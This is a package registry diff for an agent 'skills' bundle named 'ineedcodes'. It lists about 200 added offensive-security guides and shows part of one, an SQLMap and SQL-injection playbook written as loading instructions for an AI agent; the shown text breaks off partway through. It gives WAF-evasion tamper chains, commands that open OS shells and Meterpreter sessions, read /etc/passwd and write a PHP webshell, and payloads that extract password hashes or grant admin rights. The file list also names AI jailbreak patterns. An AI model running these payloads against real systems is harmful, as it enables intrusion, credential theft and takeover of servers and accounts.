ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,642 @@
|
|
|
1
|
+
# SQLMap Advanced Workflow & Deep SQL Injection Techniques
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need SQLMap tamper chain recipes, INSERT/UPDATE/DELETE injection patterns, GraphQL+SQLi, WAF bypass tamper stacking, or DB-specific advanced functions that base models miss. Assumes the main [SKILL.md](./SKILL.md) is already loaded for fundamentals.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. SQLMAP — ADVANCED WORKFLOW
|
|
8
|
+
|
|
9
|
+
### 1.1 Tamper Scripts Matrix
|
|
10
|
+
|
|
11
|
+
Tamper scripts modify payloads to evade WAF/IDS. Stack multiple with commas.
|
|
12
|
+
|
|
13
|
+
| Tamper | Effect | Target |
|
|
14
|
+
|---|---|---|
|
|
15
|
+
| `space2comment` | `SELECT/**/username` | WAFs blocking literal spaces |
|
|
16
|
+
| `space2plus` | `SELECT+username` | URL-encoded space filters |
|
|
17
|
+
| `space2hash` | `SELECT%23%0ausername` | MySQL — `#\n` acts as space |
|
|
18
|
+
| `space2mssqlblank` | Replaces space with random blank chars (`%00`–`%0F`) | MSSQL |
|
|
19
|
+
| `space2morehash` | More aggressive `#\n` padding | MySQL behind strict WAF |
|
|
20
|
+
| `between` | `NOT BETWEEN 0 AND` instead of `>` | WAFs blocking comparison operators |
|
|
21
|
+
| `charencode` | URL-encodes all characters | Generic evasion |
|
|
22
|
+
| `chardoubleencode` | Double URL-encode | Proxies that decode once before WAF |
|
|
23
|
+
| `randomcase` | `SeLeCt` | Case-sensitive WAF rules |
|
|
24
|
+
| `randomcomments` | `SEL/**/ECT` | Signature-based WAFs |
|
|
25
|
+
| `equaltolike` | `=` → `LIKE` | WAFs blocking `=` |
|
|
26
|
+
| `greatest` | `>` → `GREATEST(val,X)=val` | Operator-blocking WAFs |
|
|
27
|
+
| `ifnull2ifisnull` | `IFNULL` → `IF(ISNULL(...))` | MySQL-specific WAFs |
|
|
28
|
+
| `modsecurityversioned` | `/*!50000SELECT*/` | ModSecurity CRS on MySQL |
|
|
29
|
+
| `modsecurityzeroversioned` | `/*!00000SELECT*/` | ModSecurity with lax version matching |
|
|
30
|
+
| `unionalltounion` | `UNION ALL SELECT` → `UNION SELECT` | Rules specific to `UNION ALL` |
|
|
31
|
+
| `percentage` | Insert `%` between chars: `S%E%L%E%C%T` | IIS/ASP classic |
|
|
32
|
+
| `appendnullbyte` | Append `%00` | Language-level null-byte truncation |
|
|
33
|
+
| `halfversionedmorekeywords` | `/*!0SELECT*/` | MySQL version comment trick |
|
|
34
|
+
| `base64encode` | Base64-encode entire payload | Custom decoders |
|
|
35
|
+
| `symboliclogical` | `AND` → `&&`, `OR` → `||` | Keyword-based WAFs |
|
|
36
|
+
| `versionedkeywords` | `/*!SELECT*/` | MySQL versioned comments |
|
|
37
|
+
| `versionedmorekeywords` | More keywords wrapped in `/*!*/` | MySQL extended |
|
|
38
|
+
| `bluecoat` | Replace space after SQL keyword with `%09` | Blue Coat ProxySG |
|
|
39
|
+
| `sp_password` | Append `--sp_password` at end | MSSQL log hiding |
|
|
40
|
+
|
|
41
|
+
### 1.2 WAF Bypass Tamper Chain Recipes
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# MySQL behind ModSecurity CRS
|
|
45
|
+
sqlmap -u "$URL" --tamper=space2comment,between,randomcase,modsecurityversioned
|
|
46
|
+
|
|
47
|
+
# MySQL behind Cloudflare
|
|
48
|
+
sqlmap -u "$URL" --tamper=space2comment,charencode,randomcase,between
|
|
49
|
+
|
|
50
|
+
# MSSQL behind IIS + generic WAF
|
|
51
|
+
sqlmap -u "$URL" --tamper=space2mssqlblank,randomcase,charencode,sp_password
|
|
52
|
+
|
|
53
|
+
# Oracle behind enterprise WAF
|
|
54
|
+
sqlmap -u "$URL" --tamper=between,randomcase,charencode
|
|
55
|
+
|
|
56
|
+
# Double-proxy (decode-once WAF in front)
|
|
57
|
+
sqlmap -u "$URL" --tamper=chardoubleencode,space2comment,randomcase
|
|
58
|
+
|
|
59
|
+
# IIS/ASP with percentage filter
|
|
60
|
+
sqlmap -u "$URL" --tamper=percentage,space2comment,randomcase
|
|
61
|
+
|
|
62
|
+
# PostgreSQL behind strict keyword WAF
|
|
63
|
+
sqlmap -u "$URL" --tamper=space2comment,between,randomcase,symboliclogical
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### 1.3 --technique Flags
|
|
67
|
+
|
|
68
|
+
Control which injection techniques SQLMap tries:
|
|
69
|
+
|
|
70
|
+
| Flag | Technique | When |
|
|
71
|
+
|---|---|---|
|
|
72
|
+
| `B` | Boolean-based blind | Default first-try; conditional response diff |
|
|
73
|
+
| `E` | Error-based | Visible SQL errors in response |
|
|
74
|
+
| `U` | UNION query-based | Inline data extraction, fastest |
|
|
75
|
+
| `S` | Stacked queries | Multi-statement support (MSSQL, PostgreSQL) |
|
|
76
|
+
| `T` | Time-based blind | No visible diff; last resort |
|
|
77
|
+
| `Q` | Inline queries | Subquery within another statement |
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
# Only try UNION and error-based (fast, less noise):
|
|
81
|
+
sqlmap -u "$URL" --technique=UE
|
|
82
|
+
|
|
83
|
+
# Stacked queries for MSSQL xp_cmdshell:
|
|
84
|
+
sqlmap -u "$URL" --technique=S --os-shell
|
|
85
|
+
|
|
86
|
+
# Blind-only (stealthy recon):
|
|
87
|
+
sqlmap -u "$URL" --technique=BT
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
### 1.4 --risk and --level Combinations
|
|
91
|
+
|
|
92
|
+
| Level (1–5) | Effect |
|
|
93
|
+
|---|---|
|
|
94
|
+
| 1 | Default; tests GET/POST params |
|
|
95
|
+
| 2 | Also tests Cookie values |
|
|
96
|
+
| 3 | Also tests User-Agent, Referer |
|
|
97
|
+
| 4 | More payloads per parameter |
|
|
98
|
+
| 5 | All parameters, all headers, all payload variants |
|
|
99
|
+
|
|
100
|
+
| Risk (1–3) | Effect |
|
|
101
|
+
|---|---|
|
|
102
|
+
| 1 | Default; harmless payloads |
|
|
103
|
+
| 2 | Adds heavy time-based payloads |
|
|
104
|
+
| 3 | Adds `OR`-based payloads (may alter data — UPDATE/DELETE risk) |
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# Thorough scan (headers, cookies, aggressive payloads):
|
|
108
|
+
sqlmap -u "$URL" --level=5 --risk=3
|
|
109
|
+
|
|
110
|
+
# Stealthy initial recon:
|
|
111
|
+
sqlmap -u "$URL" --level=2 --risk=1
|
|
112
|
+
|
|
113
|
+
# Cookie injection focus:
|
|
114
|
+
sqlmap -u "$URL" --level=2 --cookie="token=abc*" --risk=2
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
### 1.5 Second-Order Injection (--second-url)
|
|
118
|
+
|
|
119
|
+
```bash
|
|
120
|
+
# Inject into registration form, observe result on profile page:
|
|
121
|
+
sqlmap -u "https://target.com/register" \
|
|
122
|
+
--data="username=test*&password=pass" \
|
|
123
|
+
--second-url="https://target.com/profile" \
|
|
124
|
+
--second-req="second_request.txt"
|
|
125
|
+
|
|
126
|
+
# --second-url: URL where injected payload manifests
|
|
127
|
+
# --second-req: full request file for the second URL (optional)
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
### 1.6 OS-Level Exploitation
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
# Interactive OS shell (requires stacked queries + priv):
|
|
134
|
+
sqlmap -u "$URL" --os-shell
|
|
135
|
+
# Tries: xp_cmdshell (MSSQL), UDF (MySQL), PL/Python (PostgreSQL)
|
|
136
|
+
|
|
137
|
+
# Meterpreter session:
|
|
138
|
+
sqlmap -u "$URL" --os-pwn
|
|
139
|
+
# Uploads stager, connects to Metasploit handler
|
|
140
|
+
|
|
141
|
+
# Read server files:
|
|
142
|
+
sqlmap -u "$URL" --file-read="/etc/passwd"
|
|
143
|
+
|
|
144
|
+
# Write webshell:
|
|
145
|
+
sqlmap -u "$URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
|
|
146
|
+
|
|
147
|
+
# Specific DBMS for UDF path:
|
|
148
|
+
sqlmap -u "$URL" --os-shell --dbms=mysql
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
### 1.7 Useful Flags Reference
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# Force DBMS to skip fingerprinting:
|
|
155
|
+
--dbms=mysql|mssql|oracle|pgsql|sqlite
|
|
156
|
+
|
|
157
|
+
# Proxy through Burp:
|
|
158
|
+
--proxy="http://127.0.0.1:8080"
|
|
159
|
+
|
|
160
|
+
# Custom injection marker:
|
|
161
|
+
--data="id=1*" # * marks the injection point
|
|
162
|
+
|
|
163
|
+
# JSON body:
|
|
164
|
+
sqlmap -u "$URL" --data='{"id":"1*"}' --content-type="application/json"
|
|
165
|
+
|
|
166
|
+
# WAF detection & identify:
|
|
167
|
+
--identify-waf
|
|
168
|
+
|
|
169
|
+
# Skip URL encoding (for raw-socket evasion):
|
|
170
|
+
--skip-urlencode
|
|
171
|
+
|
|
172
|
+
# Specify prefix/suffix for custom contexts:
|
|
173
|
+
--prefix="')" --suffix="-- -"
|
|
174
|
+
|
|
175
|
+
# Verbose output for debugging tamper chains:
|
|
176
|
+
-v 3
|
|
177
|
+
|
|
178
|
+
# Dump with specific charset (faster brute-force):
|
|
179
|
+
--charset="0123456789abcdef"
|
|
180
|
+
|
|
181
|
+
# Threads for faster blind extraction:
|
|
182
|
+
--threads=8
|
|
183
|
+
|
|
184
|
+
# Flush session to re-test:
|
|
185
|
+
--flush-session
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## 2. INSERT / UPDATE / DELETE INJECTION PATTERNS
|
|
191
|
+
|
|
192
|
+
### 2.1 INSERT Statement Injection
|
|
193
|
+
|
|
194
|
+
The injected value lands inside a `VALUES(...)` clause.
|
|
195
|
+
|
|
196
|
+
```sql
|
|
197
|
+
-- Original:
|
|
198
|
+
INSERT INTO logs (user, action) VALUES ('INPUT', 'login');
|
|
199
|
+
|
|
200
|
+
-- Injected INPUT: test','login'); SELECT SLEEP(5);--
|
|
201
|
+
-- Result (stacked query proves arbitrary statement execution, harmless time-based PoC):
|
|
202
|
+
INSERT INTO logs (user, action) VALUES ('test','login'); SELECT SLEEP(5);--', 'login');
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
**Data exfiltration via INSERT** (when you can see the inserted row):
|
|
206
|
+
|
|
207
|
+
```sql
|
|
208
|
+
-- MySQL: inject subquery into visible column
|
|
209
|
+
INPUT: test',(SELECT password FROM users LIMIT 1))-- -
|
|
210
|
+
-- Result:
|
|
211
|
+
INSERT INTO logs (user, action) VALUES ('test',(SELECT password FROM users LIMIT 1))-- -', 'login');
|
|
212
|
+
|
|
213
|
+
-- Oracle: requires FROM dual in subquery
|
|
214
|
+
INPUT: test'||(SELECT username FROM all_users WHERE ROWNUM=1)||'
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
**Blind INSERT exfiltration** (cannot see the row):
|
|
218
|
+
|
|
219
|
+
```sql
|
|
220
|
+
-- Time-based: inject IF into a column
|
|
221
|
+
INPUT: test' AND IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a', SLEEP(5), 0) AND '1'='1
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### 2.2 UPDATE Statement Injection
|
|
225
|
+
|
|
226
|
+
```sql
|
|
227
|
+
-- Original:
|
|
228
|
+
UPDATE users SET email='INPUT' WHERE id=1;
|
|
229
|
+
|
|
230
|
+
-- Overwrite another column:
|
|
231
|
+
INPUT: attacker@evil.com', is_admin='1
|
|
232
|
+
-- Result:
|
|
233
|
+
UPDATE users SET email='attacker@evil.com', is_admin='1' WHERE id=1;
|
|
234
|
+
|
|
235
|
+
-- Overwrite WHERE clause (escalate to all rows):
|
|
236
|
+
INPUT: anything' WHERE 1=1;--
|
|
237
|
+
-- Result:
|
|
238
|
+
UPDATE users SET email='anything' WHERE 1=1;--' WHERE id=1;
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
**Subquery data extraction in UPDATE**:
|
|
242
|
+
|
|
243
|
+
```sql
|
|
244
|
+
-- Extract data into a column you can read:
|
|
245
|
+
INPUT: '||(SELECT password FROM users WHERE username='admin')||'
|
|
246
|
+
-- Result (PostgreSQL):
|
|
247
|
+
UPDATE profile SET bio=''||(SELECT password FROM users WHERE username='admin')||'' WHERE id=1;
|
|
248
|
+
-- bio now contains admin's password hash
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
### 2.3 DELETE Statement Injection
|
|
252
|
+
|
|
253
|
+
```sql
|
|
254
|
+
-- Application's own statement (the injectable sink):
|
|
255
|
+
DELETE FROM sessions WHERE token='INPUT';
|
|
256
|
+
|
|
257
|
+
-- Non-destructive proof — time-based blind extraction inside the DELETE context
|
|
258
|
+
-- (confirms injection WITHOUT removing rows):
|
|
259
|
+
INPUT: ' OR IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a', SLEEP(5), 0) OR '
|
|
260
|
+
-- Note: a boolean payload (e.g. ' OR '1'='1) would widen the WHERE to every row and is
|
|
261
|
+
-- destructive — never run it against real data; use the time-based proof above instead.
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
### 2.4 SQLMap for INSERT/UPDATE/DELETE
|
|
265
|
+
|
|
266
|
+
```bash
|
|
267
|
+
# SQLMap can test non-SELECT statements with stacked queries:
|
|
268
|
+
sqlmap -u "$URL" --data="email=test@test.com" --technique=BST --risk=3 --level=3
|
|
269
|
+
|
|
270
|
+
# --risk=3 is needed: enables OR-based payloads used in UPDATE/DELETE contexts
|
|
271
|
+
# Use --string or --not-string to identify success/failure responses
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
---
|
|
275
|
+
|
|
276
|
+
## 3. GRAPHQL + SQL INJECTION
|
|
277
|
+
|
|
278
|
+
### 3.1 Batched Query Injection
|
|
279
|
+
|
|
280
|
+
GraphQL supports batched queries in a single HTTP request — each may hit different resolvers with different SQL backends:
|
|
281
|
+
|
|
282
|
+
```json
|
|
283
|
+
[
|
|
284
|
+
{"query": "{ user(id: \"1 OR 1=1--\") { name email } }"},
|
|
285
|
+
{"query": "{ product(id: \"1 UNION SELECT username,password FROM users--\") { title } }"}
|
|
286
|
+
]
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
### 3.2 Nested Field Injection
|
|
290
|
+
|
|
291
|
+
GraphQL resolvers often build SQL from nested field arguments:
|
|
292
|
+
|
|
293
|
+
```graphql
|
|
294
|
+
{
|
|
295
|
+
users(where: {name: "admin' OR '1'='1"}) {
|
|
296
|
+
id
|
|
297
|
+
email
|
|
298
|
+
posts(orderBy: "created_at;SELECT SLEEP(5)--") {
|
|
299
|
+
title
|
|
300
|
+
}
|
|
301
|
+
}
|
|
302
|
+
}
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
**Argument-level injection points**:
|
|
306
|
+
|
|
307
|
+
```graphql
|
|
308
|
+
# filter / where argument
|
|
309
|
+
{ users(filter: {email_contains: "' OR 1=1--"}) { id } }
|
|
310
|
+
|
|
311
|
+
# orderBy / sortBy
|
|
312
|
+
{ users(orderBy: "name ASC; WAITFOR DELAY '0:0:5'--") { id } }
|
|
313
|
+
|
|
314
|
+
# limit / offset
|
|
315
|
+
{ users(limit: "1 UNION SELECT username,password FROM admins--") { id } }
|
|
316
|
+
|
|
317
|
+
# search / full-text
|
|
318
|
+
{ search(query: "test' AND 1=CONVERT(int,(SELECT TOP 1 password FROM users))--") { id } }
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
### 3.3 Mutation Injection
|
|
322
|
+
|
|
323
|
+
Mutations map to INSERT/UPDATE/DELETE — test all input fields:
|
|
324
|
+
|
|
325
|
+
```graphql
|
|
326
|
+
mutation {
|
|
327
|
+
createUser(input: {
|
|
328
|
+
name: "test',(SELECT password FROM users LIMIT 1))-- -"
|
|
329
|
